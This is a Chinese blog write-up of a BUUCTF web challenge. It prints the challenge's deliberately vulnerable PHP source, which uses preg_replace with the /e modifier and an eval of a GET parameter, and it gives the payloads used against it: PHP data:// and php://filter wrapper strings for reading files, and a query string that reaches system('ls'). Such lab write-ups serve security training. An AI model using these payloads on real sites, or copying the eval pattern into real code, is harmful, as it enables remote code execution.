web buuctf [BJDCTF2020]ZJCTF,不过如此

考点:正则匹配;

正则-反向引用;

preg_replace /e模式漏洞

1.

一路做buuctf下来,

web buuctf [ZJCTF 2019]NiZhuanSiWei1_半杯雨水敬过客的博客-CSDN博客

和这题的思路一样,不做赘述,主要是利用php伪协议

1.令text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=(I have a dream的base64加密)

    file=php://filter/read=convert.base64-encode/resource=next.php

查看到next.php的源码(经过base64解码):

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

2.查看源代码,用到了preg_replace /e模式的漏洞

Preg_Replace代码执行漏洞解析-CE安全网前言icon-default.png?t=M276https://www.cesafe.com/html/6999.html上面的链接具体讲了这个漏洞,其实主要是对代码

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',  // /e模式,可以将里面的代码作为命令进行执行,结合题目,调用 
                              // getFlag()函数
        'strtolower("\\1")',  //反向引用,\\1转义后伪\1,反向引用会建立缓冲匹配池
        $str
    );
}

   令next.php?\S*=${getFlag()}&cmd=system('ls');

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值